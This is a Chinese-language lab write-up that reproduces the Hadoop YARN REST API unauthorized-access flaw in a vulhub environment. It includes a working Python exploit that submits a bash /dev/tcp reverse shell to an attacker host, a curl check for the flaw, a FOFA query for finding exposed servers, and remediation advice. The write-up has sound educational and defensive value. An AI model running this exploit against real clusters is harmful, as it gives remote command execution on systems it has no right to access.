Hadoop Yarn REST API未授权漏洞
一、Hadoop Yarn REST API未授权漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构。
YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。
通过访问 NameNode WebUI 管理界面的 50070 端口,可以下载任意文件。
而且,如果 DataNode 的默认端口 50075 开放,攻击者可以通过 HDSF 提供的 restful API 对 HDFS 存储的数据进行操作。
利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API 也可以提交任务执行。
利用过程如下:(exp脚本通过此利用过程来实现)
- 在本地监听等待反弹 shell 连接
- 调用 New Application API 创建 Application
- 调用 Submit Application API 提交
二、漏洞复现
搭建环境
用vulhub安装,
service docker start
cd /root/vulhub/hadoop/unauthorized-yarn
docker-compose build && docker-compose up -d
访问 http://192.168.0.101:8088/cluster,
由于未授权访问,可看到Hadoop YARN ResourceManager WebUI页面。
同样的也可以调用api来访问。
漏洞验证
curl -v -X POST 'http://192.168.0.101:8088/ws/v1/cluster/apps/new-application'
ps:curl -X 指定 HTTP 请求的方法,curl -v 输出通信的整个过程
返回application-id
的值application_1613898445717_0004
,漏洞可能存在。
kali为攻击机,IP为192.168.0.105,通过vulhub的脚本反弹shell。
#!/usr/bin/env python
import requests
target = 'http://192.168.0.101:8088/'
lhost = '192.168.0.105' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
该exp,共发起两次请求,
第一次申请新的application的id,
第二次通过得到的id,post我们的payload完成命令反弹shell。
shell反弹成功后,Applications 模块下会增加一个名称为 get-shell 的任务。
指纹识别
利用curl发送如下格式的post请求包,如果返回application-id可能存在漏洞:
curl -X POST 'http://192.168.0.101:8088/ws/v1/cluster/apps/new-application'
FOFA语法
title="All Applications"
修复建议
- 关闭Hadoop Web管理页面
- 开启身份验证,防止未经授权用户访问
- 设置安全组访问控制策略,只有信任IP能访问开放的端口